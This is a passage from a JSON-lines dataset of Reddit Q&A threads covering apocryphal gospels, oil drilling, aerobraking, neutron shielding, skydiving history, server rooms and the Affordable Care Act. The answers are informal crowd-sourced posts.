Ishmael (that is, Arabs) will invade to punish Christians for their sinfulness but be driven out by a divine Roman emperor.  \n\nMy own personal favorites of the apocryphal books are the Infancy Gospel of Thomas and the Apocalypse of Peter. The Infancy Gospel of Thomas is about the childhood of Jesus and mostly presents him as Dennis the Menace with magical powers. It was attacked because it may have been Gnostic in origin, but remained popular well into the Middle Ages. The bits of the Apocalypse of Peter that survive mainly discuss Heaven and Hell and I find them interesting because they are somewhat similar to the heaven and hell that Dante Alighieri wrote of. Unlike most of the works I\u2019ve mentioned, the Apocalypse of Peter came close to being recognized as orthodox, as did The Shepherd of Hermas and the Epistle of Barnabas.  On the other hand, the Book of Revelation was the last book that was declared to be canonical.  \n & nbsp;\n > and are any of them available to be studied today  \n\nNot only that, but many are available (in English translation and sometimes in their original language as well) for free on the internet.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "44mf8x", "title": "why do children like to draw so much?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/44mf8x/eli5_why_do_children_like_to_draw_so_much/", "answers": {"a_id": ["czr6ox5", "czr8wkx", "czra48d"], "score": [20, 2, 2], "text": ["I think everyone likes to draw. We have a natural-born desire to create and to express ourselves through visual art. Unfortunately many of us lose that desire due to laziness, lack of time, distractions, and/or discouragement from adults.\n\nKids haven't experienced those pressures to the same degree yet.\n\nPersonally, I think bringing drawing back into the curriculum would be one of the best things we could do to shape a positive society.  ", "I Agree with raging. As we get older and conform to what people say or do around us, we can loose that urge to create and draw. Keep those creative kids to become the artists of tomorrow. I use to draw up to 2hrs a day. Now, I've traded in my pens/pencils for a guitar. Still creating just in new ways.  ", "Maybe because they can't write words yet to express ideas?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3oy9cp", "title": "Please explain the oil drilling process presented in the film, \"There Will Be Blood\"", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3oy9cp/please_explain_the_oil_drilling_process_presented/", "answers": {"a_id": ["cw1raq1"], "score": [64], "text": ["It's a percussive drilling system, or a cable-tool drilling system. Here's a [chart](_URL_1_). Basically, it's a metal rod that is suspended on cable, and repetitively raised and dropped, driven by an engine. In that era, it was likely to be a steam engine of some sort, although in the early 19th century one could use beast or human power, too. \n\nPeriodically, a basket is lowered to pick up the cuttings, and men have to go down the borehole to pick up larger pieces. Mud is often put into the borehole to soften up the soil. \n\nYou can read more about it [on this basic website](_URL_1_) or [this one](_URL_0_). In that era, one could only drill vertical holes using cable drilling. Since the early 20th century it has been replaced by the rotary drilling system. \n\nWhile cable drilling is no longer used in oilfield, it is still used in construction and landscaping, and for drilling water wells. The next time you happen to walk near a construction site (or worse, work in an office near one), the BAM---BAM---BAM---BAM noise that you hear is the modern version of the cable or percussive drilling system. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.petroleumhistory.org/OilHistory/pages/Cable/cable.html", "http://www.sjvgeology.org/history/polish_diagram.jpg"]]}
{"q_id": "3c74vz", "title": "How can spacecraft safely enter orbit of other planets?", "selftext": "After reading the question about New Horizons and Pluto, I was curious about aerobraking around planets that have atmospheres.\n\nThe cheapest way to land on Mars or Venus, I assume, is to use their atmospheres to slow your craft down. But how well do we really understand the physical characteristics of their atmospheres, and how? Can we tell the altitude-density relationship using ground-based optical telescopes? Can aerobraking be done \"conservatively\", so that e.g. the craft has a 95% chance of entering some orbit, which can be tuned with further aerobraking?\n\nLastly, before we flew close by them, how could we tell the mass of Mercury and Venus, that have no moons? Was it just a guess based on volume? Can magnetic fields (implying iron content) be observed from a distance?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3c74vz/how_can_spacecraft_safely_enter_orbit_of_other/", "answers": {"a_id": ["cssxtat", "cssy3ny", "cssyn2y", "cst0iex"], "score": [6, 4, 12, 3], "text": ["I can't answer all your questions but here is a few:\n > But how well do we really understand the physical characteristics of their atmospheres, and how? Can we tell the altitude-density relationship using ground-based optical telescopes?\n\nThere is several techniques to see what the atmosphere of a planet is made of. For Venus we can use its transit in front of the sun and look at the spectrum of the sunlight going through the atmosphere. This gives us density and composition. I believe that you can also do that with stars and Mars.\n\nA simple spectrum of the light reflected by Mars can also provide you with hints of the composition of the upper atmosphere.\n\nLastly before we even got into orbit of any of these planets there was some fly-by missions (Mariner program in the US)\n\n > Lastly, before we flew close by them, how could we tell the mass of Mercury and Venus, that have no moons? Was it just a guess based on volume? \n\nNope you can actually calculate the mass of those planets by looking at the gravitational influence of other planets of known mass on them.", "Wow, this is a big question. I'm on mobile right now so I'll update later when I have more time. \n\nWe'll for the first part, we can talk about orbital mechanics. When doing an orbital transfer between planets, a Hohmann transfer or similar mechanic can be used to easily reestablish orbit (do some research. When using a Hohmann transfer there is little math needed to actually establish orbit around the second body) . When in orbit around a planet, it is a trivial task to slow down with a retrograde burn (engines face direction craft is moving and slow the craft down. \n\nYou wouldn't want to use air resistance to slow a craft moving at orbital transfer speed, because the heat generated would completely burn the craft up, even with modern heat shields. We just don't have materials that can resist that friction. Furthermore, a planet like Mars with a third of the atmosphere of Earth's would cause far less braking (because all brake ability comes from friction, it's less efficient with less atmosphere. Also since the braking comes from friction, you can't ignore the heat. It's a byproduct of the braking done by the air). \n\nHOWEVER, aerobraking can be used to reduce the speed and height of the orbit around a body. It isn't done for long periods and is usually in thin atmosphere, so doesn't burn the craft. It is very similar to a slingshot maneuver. \n\nNow when we are talking about determining the composition of large extra-planetary bodies, part of how we do it is from the distance from the sun. When the sun and planets formed, the rings around the forming star coalesced Into planets. Most of the elements of similar weights stayed in the same ring, causing the huge variation In planetary composition. This is the reason mercury and Venus are made of heavy metals and Neptune and Venus are made of gases (among other reasons). \n\nFor planets we have already visited, rock and/or atmospheric samples provide insight into what the composition is. However, for extra-Sol planets, we can use mass and density calculations of the planet, among light spectrometry to estimate the composition of the planets. \n\nI hope this answered most, if all, facets of your question! Have a good day! \n\nI will update with more information about the topics I explored in this comment if requested. \n\nEDIT: just saw the last paragraph of your paragraph. I will do more research about magnetic fields for you and update in around 5 hours because I need to go. However, I can say that we can calculate the mass of planets using the universal law of gravitation. First, using the effect of the sun on the earth, we calculated the sun's mass. Then using the law backwards and with the distance to the planet we want to measure, we determine the mass of said planet. The distance that planet is from the sun and also the mass and density can be used to calculate composition, and also if the planet has a magnetic field. I do not know if we can directly measure magnetic field of a body we have not visited. \n", " >  The cheapest way to land on Mars or Venus, I assume, is to use their atmospheres to slow your craft down.\n\nAbsolutely! But as you imply, it's not quite as simple as it sounds.\n\nFirstly, as you're probably aware, there is a critical angle for aerobraking - below which the spacecraft will 'skim' the atmosphere and end up on an escape trajectory and above which the spacecraft will plummet to the ground too quickly to lose all that kinetic energy safely. Interestingly, the first problem can become part of the solution - it's possible to successively 'skim' a spacecraft several times to slow it down enough to aerobrake safely.\n\nThis angle is dependent on the density of the atmosphere. On Venus it's easy to aerobrake, because the atmosphere is so thick, but it's also easier to get it wrong and 'skim'. On Mars, where the atmosphere is thin, it's harder to skim off (though still possible) but easier to not aerobrake enough.\n\nIt's also important to separate out the aerobraking from the 'controlled descent' phase, which can also utilise the atmosphere. For example, you don't use a parachute for aerobraking - the spacecraft will be moving much too fast and other mechanisms are used, such as ablative heatshields. However, a parachute could be used (and most often is at some stage of the descent) in the controlled descent.\n\n >  But how well do we really understand the physical characteristics of their atmospheres, and how?\n\nThis is a very important point. And the answer is - we do a weather forecast. Both atmospheres are very dynamic. For example, Mars' atmosphere varies by a few hundred % annually and by several tens of % daily during storm events. So to know exactly how dense the atmosphere is, we have to combine observations with models in exactly the same way as terrestrial weather forecasts to predict atmospheric conditions. My supervisor was one of the people doing the 'forecast' for the descent of Curiosity. \n\nThis is important for several reasons. Firstly, and this applies more to Mars, you need enough atmosphere to slow you down. If the atmosphere is 'thinner' than expected, the extra few metres or hundreds of metres of descent the spacecraft doesn't get could mean the difference between it surviving and ending up in a junk heap. But it's also important for the controls that mean that should be avoided. The descent systems on all landers will have automatic sensors and controls to tell the spacecraft how far above the surface it is. In some cases, it can use this to slow down more (e.g. with an active rocket descent system) or tell it when to deploy or release parachutes.\n\nThese forecasts are still important for spacecraft that aren't landing, as the amount of aerobraking depends on the atmospheric density, but to a much lower degree. As you ask, it's very common to use fairly conservative aerobraking, though planetary 'capture' is all or nothing essentially (must be completed in one manoeuvre), but successive aerobraking can be use to circularise an orbit after capture. For example, the Trace Gas Orbiter will successively aerobrake for nearly a year before it reaches its final orbit.", "The most precise model of the Martian upper atmosphere we have to date is the [Mars General Thermospheric Circulation Model](_URL_1_). It was developed by researchers in the University of Michigan, mostly based on data from the Mariner and Viking missions in the '70s but to a great extent they relied on knowledge of Earth's atmosphere to parameterize and simulate the case of Mars.\n\nBased on it NASA developed the Mars Global Reference Atmospheric Model (Mars-GRAM). It has been used successfully for the aerobraking of a few probes such as Mars Odyssey or MRO.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/20140003184.pdf", "http://data.engin.umich.edu/tgcm_planets_archive/thermo.html"]]}
{"q_id": "1uwwyg", "title": "Why is neutron radiation best shielded with materials made from light elements?", "selftext": "Hi all, \n\nI know that since neutrons are not charged, they tend to be shielded through capture by nuclei.  This seems to often create unstable isotopes that emit secondary radiation.  \nWhy do I hear that the best materials for neutron shielding are derived from elements with low atomic number (such as even water)?  Is it because these materials tend to have a higher volume density of nuclei due to fewer electrons in high level orbitals?  In that case, how is the secondary radiation dealt with?\n\nThanks!\n \n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1uwwyg/why_is_neutron_radiation_best_shielded_with/", "answers": {"a_id": ["cemibqr", "cemjt2j"], "score": [12, 4], "text": ["If you work through the math, you will find that a neutron will give up more energy (per collision) if it is running into nuclei that have lower mass.  Ever play pool (billiards)?  The balls all weigh the same - if you hit another ball dead-on with the cue ball, the cue ball comes to a complete stop.  If the balls weighed 10 times as much as the cue ball, it becomes much harder to transfer any energy to them.\n\nWater is mostly hydrogen atoms (protons), which have basically the same mass as neutrons.  It only takes an average of 18 scattering events with protons to slow a fission neutron completely.  It takes over 2000 scattering events with uranium to do the same thing. \n\nWhy do we want to slow them?  Neutrons are easier to capture the lower their velocity.  So an effective neutron shield will be able to 1) slow neutrons down and 2) capture them.  Hydrogen also has a decently large capture cross section, so it can both slow and absorb them.  Also, if H-1 absorbs a neutron, it becomes H-2 - which isn't radioactive.  If you want to get fancy, you can mix in a strong absorber like helium-3 or cadmium.  To shield the secondary radiation, you can throw on another shielding layer (like lead).\n\nOne of the best neutron shields is just plain old concrete.  It's low-atomic-number, dense, fairly cheap, and you can mix in other components if you want to get fancy.", "There are really two categories of neutron shielding materials. Materials containing Hydrogen and materials containing strong neutron absorbing isotopes (like Boron).\n\nImagine a high energy neutron scattering off a large nucleus. It'll typically either bounce off or scatter at an angle, and in the process lose some of its energy, but it will retain a lot of its momentum. Imagine throwing a tennis ball at the side of a house, for example, it'll bounce back while still going pretty fast. But, if a neutron hits a proton then it'll transfer most of its momentum to the proton because they are almost exactly the same mass, much like billiard balls striking each other. The neutron then flounders around at a slow speed and naturally decays with a half-life of about 15 minutes. Because the proton is charged it's not able to penetrate through matter as deeply as the neutron, and so is not nearly as dangerous (within a bulk of matter it will typically slow down fairly rapidly).\n\nOther nuclei are capable of interacting with neutrons strongly by absorbing them. Fissile isotopes, such as U-235 or Pu-239, will absorb neutrons and then fission, releasing more neutrons. But some nuclei, like Boron-10 or Xe-135, will merely absorb neutrons and transition into another stable isotope (e.g. Boron-11).\n\nBoth heavy and light isotopes are suitable in the role of neutron absorbers, but because Boron is so abundant and because it doesn't have any particular issues in being bred into hazardous isotopes it tends to be very favorable for use in shielding. If B-11 is bred into B-12, B-13, or B-14 it just decays into C-12, C-13, or C-14 in a matter of milliseconds, which are not particularly hazardous. In contrast Xe-135 is already a hazardous isotope with a short half-life and if Xe-136 is bred into Xe-137 it'll decay into Cs-137, which is very hazardous. Cadmium-113 is also a strong neutron absorber but it's far harder to come by than Boron."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1kzqtb", "title": "How thick would a layer of air have to be to be opaque? How about a mixture of oxygen and nitrogen gases without any impurities?", "selftext": "Besides clouds, the air is transparent enough to see through the atmosphere. The atmospheres on the gas giants (seem to be) pretty opaque. How big would a ball of air have to be to appear to have surface? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1kzqtb/how_thick_would_a_layer_of_air_have_to_be_to_be/", "answers": {"a_id": ["cbum87g"], "score": [2], "text": ["It depends on the wavelength. There won't be any actual absorption taking place for N2 or O2 molecules, as visible photons don't have enough energy to ionize the molecules (or atoms). What will happen is the light will be scattered. The mass attenuation coefficient describes total attenuation by both scattering and absorption mechanisms. \n\nIt seems that in real-world scenarios, scattering from gas molecules or Rayleigh scattering is not actually that important. Small particles play the dominant role in terms of determining visibility. See the first few pages of this pdf:\n\n_URL_0_\n\nI'm not having any luck googling up an attenuation coefficient for visible light in just N2 or O2 gases. If it was x-rays or gammas I know that there is a NIST database available, but I'm not turning up something similar for visible light real quick :/\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.simulatedvision.co.uk/V&amp;A_Chap15.pdf"]]}
{"q_id": "611z7m", "title": "how will banning muslims stop terror attacks, but banning guns won't stop shootings?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/611z7m/eli5_how_will_banning_muslims_stop_terror_attacks/", "answers": {"a_id": ["dfb1fie", "dfb3yyf"], "score": [6, 5], "text": ["Short: It won't. \n\nLong: There's literally always going to be a schism between have and have nots. Based on physical wealth, some sort of ascribed status, religious something or other, or stars printed on your belly. Doesn't fucking matter. It's just skub. \n\nAnd people are always going to fight over it. And one side is always going to have a more organized fighting force. So the other is gonna blow shit up all sneaky like. \n\nUntil we figure it out or die. Whichever comes first.  \n\nBanning guns is just handing your stats the monopoly on violence. ", "Banning guns *will* stop shootings - if you can actually ban them de facto rather than merely de jure.  However, there are two problems.  The first is that you cannot effectively ban guns any more than you can effectively ban heroin use or prostitution.  You can pass laws against them, but that's no guarantee of stopping them unless the penalties are so draconian that you effectively cull the population of anyone tempting to break those laws.\n\nThe second is that we don't particularly care about shootings - we care about *murders*.  Banning guns can potentially make it more difficult to commit murders, but you rapidly get into a scenario where you have to ban almost anything that can be used as a weapon.  Consider the London attack where the weapons were cars and knives.\n\nIn terms of banning Muslims, consider how we deal with criminals.  If you're a violent criminal, we separate you from society so you cannot harm people.  With domestic criminals, we use a rather inefficient reactive process - we wait until someone has committed a crime to separate them - because we're more concerned with ensuring that people are not unjustly incarcerated than we are that people are perfectly protected.  With foreigners, we classify people based on nationality.  We treat Guatemalans like job seekers, Japanese people like tourists and North Koreans with extreme skepticism based solely on their nationality.  Unlike with domestic criminals, we don't really have the information, time or inclination to treat each individual differently but often adopt broad measures that treat people of the same nationality the same."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "549f2u", "title": "What was the initial reaction to the sport of skydiving when people first starting doing it? How and when was it normalised to the point that it now is seen as perfectly normal to jump out of a plane in your free time?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/549f2u/what_was_the_initial_reaction_to_the_sport_of/", "answers": {"a_id": ["d806pc8"], "score": [2], "text": ["I am a former civilian skydiving instructor, so have a bit of personal knowledge of this subject that I have gained over the years. \n\nFirstly, we need to clarify the difference between \"parachuting\" and \"skydiving\". For some this may be pedantic or be seen as quibbling with terms, but most sport and military jumpers today recognize the differentiation. When talking about \"parachuting\", we are focusing on the act of descending under parachute. When talking about \"parachuting\", this typically [means exiting the aircraft using a static line or some form of direct deployment method, where the process of opening your parachute canopy is literally initiated immediately as you exit the aircraft, typically by a \"static line\" which has one end attached to the aircraft and the other end to the deployment bag in your backpack which contains the parachute](_URL_1_). As you exit the aircraft and fall away, the parachute is pulled away and out from your backpack (due to the static line attached to the aircraft) automatically without any jumper intervention. When you do this kind of jump, the static line ensures that the lines attaching the jumper to the parachute canopy are pulled taut, and as the canopy exits the deployment bag that the parachute is packed in on your back, the chute begins to inflate and catch air and you are then separated from the aircraft's static line entirely, free to descend under your own canopy. This effectively means you are \"under canopy\" immediately as is practically possible after exiting the aircraft, with no real \"freefall\" time involved. \n\n\"Skydiving\" is typically referring to the act of jumping without a static line in order to deliberately enter freefall. That is where [you exit the aircraft and once out the door, you are instantly separated from the plane, and are falling free with nothing but drag on your body to slow you to terminal velocity.](_URL_3_) After falling awhile, you must then manually deploy your parachute canopy, ensuring it has enough time to deploy from the container, fill with air and arrest your fall rate before you impact the ground. \n\nThe first \"freefall\" skydive that was deliberately executed is typically recognized as being back in 1914 by a \"barnstormer\" woman named Georgina \"Tiny\" Broadwick, using a parachute device known as the [\"Broadwick Coatpack\"](_URL_0_) that was in large part designed by her father. In that case, she jumped clear of the aircraft, waited a few seconds, and then manually deployed the canopy without static line, as an earlier static attempt had caused her static line to tangle with the rear tail assembly of the aircraft. While she was definitely in freefall on that jump, she certainly never hit terminal velocity or entered into a fully stabilized vertical fall during that event. What she did back in 1914 is what many skydivers today would call a \"hop and pop\" jump, where you just hop out the door of the plane, fall clear and wait a few seconds, then \"pop\" or deploy your canopy manually using the same technique as if you were freefalling at terminal speeds. \n\nEarly barnstorming parachutists and freefall skydivers were most definitely considered extreme foolhardy \"daredevils\". We humans of course very rightly have a fear of falling from heights, so for the public to witness these kinds of parachute and freefall events from the ground was a big thrill that they knew carried a VERY real risk of death for the jumper. Many of these jumps were carried out at events like state fairs and early airshows that featured various types of early aircraft, done in front of a voyeuristic crowd who were there to not only witness how \"cool\" and brave it was, but because the risk of death for the jumper was a very real possibility back then, especially due to the lightly-tested and very prototype jump rigs and materials used in those early parachute/skydiving contraptions.\n\nMost people considered these early barnstormer parachute and freefall pioneers as being \"crazy\", reckless, daring thrillseekers who perhaps had a death wish, particularly since they were doing these jumps back in the early days for fun (and, of course, money). It was not until the early days of World War I when the military began to adopt parachutes as \"life-savers\" (that is parachutes in the military realm were originally called) that parachutes began to be seen to have a legitimate practical purpose. Parachutes were first used in the military in WWI by [balloon reconnaissance pilots/observers, who were hoisted aloft by hot air balloon in order to serve as high altitude artillery spotters](_URL_2_). If the enemy was able to shoot enough holes in the balloon and cause it to collapse, the crew aboard could either ride the remains of the balloon and basket down to a high speed impact and most likely certain death, or jump out of the basket at altitude and pray their static line-deployed parachute system would hopefully save them. Soon after, many [pilots in WWI began using parachutes to increase the odds of saving themselves if they were shot down or suffered some kind of catastrophic failure to the airframe when in flight](_URL_4_). \n\nParachutes were of course also used to great effect in the military realm during WWII, both to deliver troops to the ground quickly in enemy territory as well as to save the lives of aircrews who were forced to bail out of their damaged aircraft. It was really after the Second World War that parachuting and skydiving began to slowly be seen as a viable \"sporting\" activity for the public to consider. In 1952, skydiving became recognized as an international sport, and parachute and skydive clubs began to pop up around the world in various nations. Still though, it took several decades - at least until the late 1980s and early 1990s - before many in the public began to consider sport skydiving to be a viable and relatively safe sporting activity that anyone could partake in with a minimal amount of training. \n\nEven to this day though, many people consider parachuting and skydiving to be a somewhat crazy, foolhardy activity - certainly not \"perfectly normal\" behavior, even though modern advancements in the gear used has made it statistically a very safe sport. When many people find out you like to skydive, they still think you must have a screw loose in your head, so I really do not think it is considered as a totally \"normalized\" or completely mainstream sporting activity, even to this day.             "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://works-words.com/NSM-WIKI/WP/wordpress/wiki/skydiving/early-history/history/1908-broadwick-coatpack-is-first-freefall-rig/", "https://youtu.be/6J4T7mr2Z9A?t=54", "http://www.ejection-history.org.uk/project/Parachutes/1914_18.htm", "https://www.youtube.com/watch?v=8omdqyOqk1Q", "http://works-words.com/NSM-WIKI/WP/wordpress/wiki/skydiving/early-history/history/1916-first-use-of-parachutes-to-save-pilots-ww1/"]]}
{"q_id": "149pcf", "title": "How much energy does it take to break down food", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/149pcf/how_much_energy_does_it_take_to_break_down_food/", "answers": {"a_id": ["c7b5016", "c7b7ff6"], "score": [5, 2], "text": ["apparently not that much:\n\"Throughout the day, about 5 to 10 percent of your total energy expenditure goes to digest and store the nutrients in the food you eat.\"\nSo if you count an average intake as 2000 kcal the amount burnt during digestion would be 100-200 kcal.\n\nThis is from Mayo clinic website: \n_URL_0_", "There's a name for this: thermic effect of feeding (or food), or TEF.\n\nThe magnitude depends on the nutrient composition of the meal. TEF is lowest for fat (~2\u20133%), intermediate for carbohydrate (~8\u20139%), and pretty high for protein (~25%).\n\n10% of calories ingested is a good rule of thumb for someone eating a mixed diet."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.mayoclinic.com/health/negative-calorie-foods/AN02040"], []]}
{"q_id": "4a48wu", "title": "why do candidates have to be labeled by party? wouldn't eliminating this labels ensure that people vote more on policies and the person, rather than just blindly for their party?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4a48wu/eli5_why_do_candidates_have_to_be_labeled_by/", "answers": {"a_id": ["d0x89e1", "d0x9fhk"], "score": [22, 2], "text": ["The party system makes it easier for politicians to run for office without having to explicitly state their stance on different topics. The politicians know that the voters will make assumptions based on party affiliation. The candidates have to belong to one of the two major parties because our political system is designed so that power only changes hands between these two powerhouses. \n\nEliminating the party system would be a great thing but in order for that to happen, the politicians who belong to the two major parties would have to approve of it and that will never happen. Political parties are one of the things that George Washington warned everyone about when he left office. He warned that allowing money into politics and having a party system would corrupt the electoral process and the gov't, and that's exactly what has happened.", "It's similar to saying \"Why don't we eliminate brand names and just choose the best product?\" Voters don't always get access to all the information (whether they're willing to try to get it or not) about particular candidates. Party labels (brands) help voters makes it easier for voters to select a candidate that best aligns with their values.\n\nPerhaps ideally, a person would sit down and analyze all of a presidential candidate's positions, but are you really going to do that for senator, governor, lt. governor, representative, state rep., state senator, etc. all the way down the ticket? Most voters won't, so party labels help them to make the best possible decision by giving them some general information."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "atcpz1", "title": "what is a server room like this used for? any examples you could give?", "selftext": "[What are server rooms like this used for?](_URL_0_)\n\nWhat is the computing power of this room? Or are these not computers? Are they interconnected? \n\nI have always seen rooms like this but never knew exactly what I was looking at or what they are used for.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/atcpz1/eli5_what_is_a_server_room_like_this_used_for_any/", "answers": {"a_id": ["eh0agml", "eh0am3n", "eh0at0r", "eh0bfuq", "eh0c7jj", "eh0d861"], "score": [20, 7, 3, 4, 3, 2], "text": ["Mainly those are used for data storage. Any website is hosted in a room like that, and any online game has a server room like that.  They are all networked together, yet can act independently. They don't look that sci fi usually, but they're kept dark to help with cooling unless needed.\n\n & #x200B;\n\nThey usually host a ton of databases and other back end information that doesn't, shouldn't or can't be stored on a client's PC.", "These are servers. This is a data center. The servers you see are most likely connected, often referred to as \u201cclustered\u201d so that they can complete processes and computations together. They can also store data, serve up web content, and just about anything else you can think of. ", "Facebook, Google, Amazon, cloud computing. Any computing suppliers who sell capacity to clients. ", "This is coming from a university student, so I don't quite have all the answers, but here's my best. \n\nDesktop computers have a limited amount of space available to store things. Also, it's relatively easy to take that one desktop computer offline. So businesses invest in larger computers called servers. Each individual shelf in rooms like that can be a dedicated server, but that's not always the case. So what's the difference between a server and a desktop? \n\nInherently, computers have some jobs they can be built to perform better at. Some processing units are built to do some small things very fast, they can be built to do a lot of things somewhat more slowly. Server are generally powered by the later processing units. This is really convenient for small data processing or running a large database website for instance. \n\nIn addition to servers having different processors, they also have more room for hard drives, or the component that stores data. Remember, they have an entire shelf just for one server, that's a lot of space to hold drives. I've seen some servers with room for 48 drives, each drive could be 10tb with a reasonably sized company. \n\nSo now let's sort of delve into the idea of the whole room. Okay, so say you're a business owner. You own Google, or Facebook, or Twitter, or maybe all three if you're really rich. Everyone of your users has an account, and sometimes you even offer to store their data for them in \"the cloud\". Not only do you need space for this, but you also need to be capable of handling their request to see the data. Not just their request, but everyone's. That's one or several portions of a processor dedicated to accessing that information for just that one user. \n\nThat's not even accounting for redundancy. For every so many hard drives there exists a redundant hard drive, or maybe multiple redundant hard drives, depending on the configuration. All of this is so that if one hard drive with Johnny Appleseed's family photos inexplicably malfunctions, Google still has his files available for him. But, now you need servers to handle processing these redundancies, and once the operation gets big enough, you need servers to handle communicating which drives need to be replaced due to failure. \n\nAll of this is pretty lengthy and tiring to delve too far into, but this is the basics of how server rooms work.", "Servers are a type of computer that does exactly what it sounds like, serves. Things like YouTube videos, web pages, remote access video surveillance, client information, or anything else you access online is being hosted on a server. Because it's only purpose is to serve, servers are usually left unattended, they don't need all the peripherals that a regular computer does, like monitors, computer mouses, keyboards etc. It could be a single laptop in someone's house hosting a personal website, or a massive server farm in india hosting Netflix videos, once its configured, all it needs is access to the internet to operate.  \n\nA room like that is a data center full of networked servers, connected to each other and to the internet. could be hosting virtually anything, NSA surveillance feeds, pornhub videos, wordpress sites, archives from the library of Congress, bank account information, the matrix, who knows. ", "Just for a little added info, this photo is of the backs of racks of servers.  That's why you are seeing the nice light show.  Each server will have at least one power light and a link light on the NIC.  They all plug in to the vertical power strips on the sides of the rack.  The rows are placed back-to-back like this for cooling purposes; all the hot air is exhausted into one row.   Cool air is blown into a row where the fronts of servers are facing each other."]}, "title_urls": [], "selftext_urls": ["http://sf.co.ua/12/10/wallpaper-2367336.jpg"], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1nl33w", "title": "could the next (assumingly) republican president undo the affordable healthcare act?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1nl33w/eli5_could_the_next_assumingly_republican/", "answers": {"a_id": ["ccjjr3s", "ccjjwod", "ccjjznq", "ccjjzvw", "ccjk2ui", "ccjkpp2", "ccjl510", "ccjlomk", "ccjm3x6", "ccjmowu", "ccjnge7", "ccjnz0t", "ccjnzbw", "ccjs570", "ccjub7y", "ccjxxfo", "ccjyuud", "cck2dye", "cck3jz8", "cck4cmd"], "score": [406, 5, 113, 33, 10, 45, 2, 4, 18, 4, 3, 2, 5, 2, 2, 2, 2, 2, 3, 2], "text": ["If they could get the House and Senate to go along with it, sure. What the Democrats are hoping for is that by that time, repealing it will also be unpopular. This would be similar to how Republicans originally opposed Social Security and vowed to repeal it, but by the time they had an opportunity, the program was ingrained and no one wanted it taken away.", "Absolutely. There's another midterm election next year, and a lot can happen between now and the 2016 presidential election. It's a political eon. It's entirely possible that the Republicans could seize the presidency and Senate (and hold on to the House) in that time.\n\nAnd I don't think that a repeal of the law would take much political capital - not as much as passing it, anyway.  The PPACA wasn't terribly popular when it was passed, and has become even less so since. And Republicans could make an even better case for a repealing it if they had a plan to replace it - and any Republican contender would be foolish not to have some kind of proposal in that vein.", "This would require:\n\n- A Republican majority in the House.\n- A filibuster-proof majority in the Senate\n- A Republican presidency, or veto-proof majorities in both houses.\n- All of this to happen before Republican voters become accustomed to the ACA.", "I think that the Affordable Care Act will be somewhat like abortion.  Now that we have it, it's not going away, but the republicans will complain about it every election.  They will try to get some [likely superficial] restrictions put in place, like mandatory ultrasounds prior to abortions.  \n\nHowever, it also needs to be understood that the Affordable Care Act was a piece of conservative legislation, it kept the insurance company framework (and profits) completely intact.  A liberal healthcare bill would have included a single payer option like the rest of the industrial world.  The only reason that republicans are so vehemently against the bill, is because it was passed by democrats.", "Presidents don't make laws, so no.  Could a president try to sway things that way?  Sure.  But a president cannot take office and strike down an existing law, or create a new one.", "If we're speaking purely hypothetically, then yes, the ACA could be repealed via the same process that goes into creating or changing any law: The house votes, the senate votes, the president signs.  It would require a majority in the house and senate that want to repeal it, and a president that agrees.\n\nNon-hypothetically: I think the Republican party is not only shooting themselves in the foot, but blowing their whole leg off with this shutdown.  Moderate Republican voters are no doubt being very turned off to the Republican party by the underhanded tactics they're committing to.\n\nSecondly, the reason the Democrats are holding firm in not allowing a single bit of the ACA to be delayed is that they're convinced that once we all are living in a country where **everyone** has health insurance and preventative care is so much more readily available, very few will actually want to go back to a time when so many didn't have the healthcare they need.\n\nUltimately, the ACA probably is heavily flawed, and could probably stand a number of improvements, just like any brand new law, system, car, edition of Windows, iPhone, human being, government or idea.\n\nBut just because it's flawed doesn't mean that it isn't progress, a step in the right direction.", "President's do not pass laws. They can support them publicly, but they cannot create the laws or vote on them. The President can only veto a law (assuming Congress doesn't have a 2/3 majority already). \n\nNow, if the President is a Republican, it stands to reason that most of the people who voted also voted for their congressman and senators, and since many (if not most) Americans vote along party lines, there is a very good chance that the house and senate will also have a Republican majority. Once that happens, they can do whatever they want.\n\nThis is of course not guaranteed to be the case. As of today we have a Democrat President and Senate, but not House.", "Not on his own, no. A president cannot cancel a law.", "Technically: Yes. With a majority in both houses of Congress and a Republican president, the ACA could be repealed.\n\nRealistically: No.  By the time a Republican could take the presidency (2016), there will be somewhere between 20-40 million people with health care because of the ACA and taking health care away from that many people would be political suicide.  It has been proven time and time again that, once enacted, it is extremely difficult to roll back these kinds of programs.\n\nOf course, if the ACA proves to be a failure (for example, not enough people sign up to make it sustainable) then the reality could be different.  But only time will tell there.\n\nAnd this, of course, doesn't even address the fact that Republican favorability is on the decline and that the majority of Americans are blaming the current crisis on the GOP - which makes a Republican sweep in 2016 seem unlikely.", "I very highly doubt that it will ever be repealed; once the people who will benefit from it start feeling its positive effects, it will be here to stay. Also, I don't think that 